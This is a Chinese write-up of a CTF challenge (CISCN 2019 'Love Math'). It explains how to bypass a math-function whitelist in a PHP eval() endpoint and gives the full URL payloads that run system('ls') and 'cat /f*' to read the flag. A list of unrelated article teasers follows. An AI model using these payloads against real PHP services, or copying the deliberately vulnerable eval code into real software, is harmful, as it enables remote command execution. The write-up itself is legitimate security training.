[CISCN 2019初赛]Love Math 详细题解

news2024/12/28 17:36:25

知识点:

数学函数转换字符串
GET传参外部赋值
eval()函数解析执行命令
PHP动态调用函数名

源码:

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

代码审计:

看到最后的  eval('echo '.$content.';');  代码,可以通过eval()函数执行命令,那么目的就是命令执行得到flag

然后看代码的细节,接收一个get传入的参数c,并且参数c的长度不能超过80,还不能在黑名单

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 里面   不能含有空格 \t \r \n 单双引号 中括号[]

又给出了一个白名单,里面是很多的数学函数,然后进行正则匹配,得到的结果赋值给$used_funcs

$used_funcs[0] 包含了所有完整的匹配字符串,$used_funcs[0] 里面的所有数据都要在白名单中

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

正则表达式中  \x7f-\xff  匹配 ASCII 值从 127 到 255 的字符

所以作用是从 $content 中找出所有以字母或下划线或者ASCII 值从 127 到 255 的字符作为开头,后面跟随任意数量的字母、数字、下划线或ASCII 127-255的字符串序列,并将它们收集到 $used_funcs 数组中

目的是命令执行,但是前提是$used_funcs[0]数组中的每个数据必须在白名单中,而白名单中没有命令执行函数例如system,那么问题就是如何构造system函数和命令

在PHP中,可以使用变量来存储函数名,然后通过这个变量来调用相应的函数

例如在windows中,可以像下面这样调用system函数,用dir 输出目录信息

<?php  
$a='system';
$a('dir');

所以既然对参数c进行了很多限制,而且对长度也有要求,那么可以通过外部赋值绕开这些限制

外部赋值可以用$_GET[]接收外面的参数,所以格式可以是

?c=($_GET[a])($_GET[b])&a=system&b=ls

简单实践一下,利用下面的代码演示, 在windows中用dir来表示列出当前目录

<?php
error_reporting(0);
highlight_file(__FILE__);
$content = $_GET['c'];
echo $_GET['c']."\n";

eval($content.';');

可以看到这样执行命令是没有问题的,这里题目是PHP7的环境, $_GET[a]两边的()可以不加,但是在PHP5中不能有这对括号

格式有了,接下来就是考虑如何构造出来

_GET 以及 [] 都会被匹配,所以需要替换,$content长度不能超过80,所以选择白名单中最短的两个函数作为外部赋值的参数名,这里就用pi 和 pow

中括号[] 可以用 {} 来替代, _GET 用白名单中的数学函数转换得到

数学函数转换

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符,就可以通过构造字符串转换为GET传参格式
但是这里hex2bin()不在白名单中,还需要通过白名单中的函数构造出来

base_convert:  用于在不同的进制之间转换数字
base_convert(37907361743,10,36)  将十进制数 37907361743 转换为三十六进制,在三十六进制中,数字超过 9 后会使用字母 A-Z 表示 10 到 35
因此base_convert(37907361743,10,36) 表示的就是  "hex2bin"

这里的括号()和 逗号, 都不会进入匹配  37907361743 10 36 也不会,因为没有以字母或者_或者指定ASCII字符开头的字串
把_GET 字符串转换为16进制格式, 得到 hex2bin(5f474554)  转换完就是 _GET
但是5f 47 45 54会被匹配到,因为存在以字母开头的子字符串f474554

因此 5f 47 45 54可以用白名单中的dechex()函数将10进制数转换为16进制的数
dechex(1598506324)    1598506324转换为16进制就是 5f 47 45 54

经过一系列转换,得到

hex2bin(5f474554)   ->   base_convert(37907361743,10,36)(dechex(1598506324))

base_convert(37907361743,10,36)(dechex(1598506324)) 也就是_GET

接下来赋值传参即可

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls

参数c的值是后面的一大串,里面有分号;隔开,经过eval()函数也就是相当于解析执行两条命令,会先解析$pi的值, 也就是得到$pi=_GET

然后执行后面的($_GET[pi])($_GET[pow])&pi=system&pow=ls  最后输出整个的结果

根目录下发现flag文件 查看即可

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2245619.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

湛江市社保卡申领指南:手机获取电子照片回执单号

在湛江市&#xff0c;社保卡的申领流程已经实现了数字化&#xff0c;为市民带来了极大的便利。特别是通过手机获取数码照片回执单号&#xff0c;这一环节更是简化了申领过程。今天&#xff0c;我们将详细介绍如何不去照相馆&#xff0c;利用手机来获取数码照片回执单号&#xf…

第27天 安全开发-PHP应用TP 框架路由访问对象操作内置过滤绕过核心漏洞

时间轴 演示案例 TP 框架-开发-配置架构&路由&MVC 模型 TP 框架-安全-不安全写法&版本过滤绕过 TP 框架-开发-配置架构&路由&MVC 模型 参考&#xff1a; https://www.kancloud.cn/manual/thinkphp5_1 1、配置架构-导入使用 去thinkphp官网可以看到&…

【自动驾驶】数据集合集!

本文将为您介绍经典、热门的数据集&#xff0c;希望对您在选择适合的数据集时有所帮助。 1 Automatic-driving-Test 更新时间&#xff1a;2024-07-26 访问地址: GitHub 描述&#xff1a; 该模型使用 ultralytics yolo v8 和 deepsort 方法来检测车道与车轮的碰撞并跟踪车辆。…

Leetcode 完全二叉树的节点个数

不讲武德的解法 java 实现 class Solution {public int countNodes(TreeNode root) {if(root null) return 0;return countNodes(root.left) countNodes(root.right) 1;} }根据完全二叉树和满二叉树的性质做 class Solution {public int countNodes(TreeNode root) {if (r…

力扣面试题 - 24 插入

题目&#xff1a; 给定两个整型数字 N 与 M&#xff0c;以及表示比特位置的 i 与 j&#xff08;i < j&#xff0c;且从 0 位开始计算&#xff09;。 编写一种方法&#xff0c;使 M 对应的二进制数字插入 N 对应的二进制数字的第 i ~ j 位区域&#xff0c;不足之处用 0 补齐…

Elasticsearch 中的热点以及如何使用 AutoOps 解决它们

作者&#xff1a;来自 Elastic Sachin Frayne 探索 Elasticsearch 中的热点以及如何使用 AutoOps 解决它。 Elasticsearch 集群中出现热点的方式有很多种。有些我们可以控制&#xff0c;比如吵闹的邻居&#xff0c;有些我们控制得较差&#xff0c;比如 Elasticsearch 中的分片分…

Matlab多输入单输出之倾斜手写数字识别

本文主要介绍使用matlab构建多输入单输出的网络架构&#xff0c;来实现倾斜的手写数字识别&#xff0c;使用concatenationLayer来拼接特征&#xff0c;实现网络输入多个特征。 1.加载训练数据 加载数据&#xff1a;手写数字的图像、真实数字标签和数字顺时针旋转的角度。 lo…

Nacos实现IP动态黑白名单过滤

一些恶意用户&#xff08;可能是黑客、爬虫、DDoS 攻击者&#xff09;可能频繁请求服务器资源&#xff0c;导致资源占用过高。因此我们需要一定的手段实时阻止可疑或恶意的用户&#xff0c;减少攻击风险。 本次练习使用到的是Nacos配合布隆过滤器实现动态IP黑白名单过滤 文章…

如何在Word文件中设置水印以及如何禁止修改水印

在日常办公和学习中&#xff0c;我们经常需要在Word文档中设置水印&#xff0c;以保护文件的版权或标明文件的机密性。水印可以是文字形式&#xff0c;也可以是图片形式&#xff0c;能够灵活地适应不同的需求。但仅仅设置水印是不够的&#xff0c;有时我们还需要确保水印不被随…

测试工程师如何在面试中脱颖而出

目录 1.平时工作中是怎么去测的&#xff1f; 2.B/S架构和C/S架构区别 3.B/S架构的系统从哪些点去测&#xff1f; 4.你为什么能够做测试这一行&#xff1f;&#xff08;根据个人情况分析理解&#xff09; 5.你认为测试的目的是什么&#xff1f; 6.软件测试的流程&#xff…

jenkins的安装(War包安装)

‌Jenkins是一个开源的持续集成工具&#xff0c;基于Java开发&#xff0c;主要用于监控持续的软件版本发布和测试项目。‌ 它提供了一个开放易用的平台&#xff0c;使软件项目能够实现持续集成。Jenkins的功能包括持续的软件版本发布和测试项目&#xff0c;以及监控外部调用执行…

无线感知会议系列【15】DPSense-2

接&#xff1a; 无线感知会议系列【15】DPSense-1 目录&#xff1a; 实验 讨论 结论 附录 一 实验 在本节中&#xff0c;我们通过全面的实验验证了所提出的DPSense系统的有效性。首先&#xff0c;我们将我们的方法与三种最先进的技术进行了比较。然后&#xff0c…

AI编程入门指南002:API、数据库和应用部署

进阶概念教程&#xff1a;API、数据库和应用部署 在学习了编程的基础概念后&#xff0c;我们将进入更高级的内容。本文将详细介绍API、数据库和应用部署三个进阶概念&#xff0c;并通过丰富的示例和形象的说明帮助你更好地理解这些内容。 1. API&#xff08;应用程序接口&#…

Docker3:docker基础1

欢迎来到“雪碧聊技术”CSDN博客&#xff01; 在这里&#xff0c;您将踏入一个专注于Java开发技术的知识殿堂。无论您是Java编程的初学者&#xff0c;还是具有一定经验的开发者&#xff0c;相信我的博客都能为您提供宝贵的学习资源和实用技巧。作为您的技术向导&#xff0c;我将…

《Django 5 By Example》阅读笔记:p645-p650

《Django 5 By Example》学习第8天&#xff0c;p645-p650总结&#xff0c;总计6页。 一、技术总结 1.django-rest-framework (1)serializer p648, Serializer: Provides serialization for normal Python class instances。Serializer又细分为Serializer, ModelSerializer,…

【机器学习】回归模型(线性回归+逻辑回归)原理详解

线性回归 Linear Regression 1 概述 线性回归类似高中的线性规划题目。线性回归要做的是就是找到一个数学公式能相对较完美地把所有自变量组合&#xff08;加减乘除&#xff09;起来&#xff0c;得到的结果和目标接近。 线性回归分为一元线性回归和多元线性回归。 2 一元线…

【大模型推理】vLLM 源码学习

强烈推荐 https://zhuanlan.zhihu.com/p/680153425 sequnceGroup 存储了相同的prompt对应的不同的sequence, 所以用字典存储 同一个Sequence可能占据多个逻辑Block&#xff0c; 所以在Sequence 中用列表存储 同一个block 要维护tokens_id 列表, 需要添加操作。 还需要判断blo…

FIFO和LRU算法实现操作系统中主存管理

FIFO&#xff0c;用数组实现 1和2都是使用nextReplace实现新页面位置的更新 1、不精确时间&#xff1a;用ctime输出运行时间都是0.00秒 #include <iostream> #include <iomanip> #include<ctime>//用于计算时间 using namespace std;// 页访问顺序 int pa…

【Ubuntu24.04】VirtualBox安装ubuntu-live-server24.04

目录 0 背景1 下载镜像2 安装虚拟机3 安装UbuntuServer24.044 配置基本环境5 总结0 背景 有了远程连接工具之后,似乎作为服务器的Ubuntu24.04桌面版有点备受冷落了,桌面版的Ubuntu24.04的优势是图形化桌面,是作为一个日常工作的系统来用的,就像Windows,如果要作为服务器来…

《SpringBoot、Vue 组装exe与套壳保姆级教学》

&#x1f4e2; 大家好&#xff0c;我是 【战神刘玉栋】&#xff0c;有10多年的研发经验&#xff0c;致力于前后端技术栈的知识沉淀和传播。 &#x1f497; &#x1f33b; CSDN入驻不久&#xff0c;希望大家多多支持&#xff0c;后续会继续提升文章质量&#xff0c;绝不滥竽充数…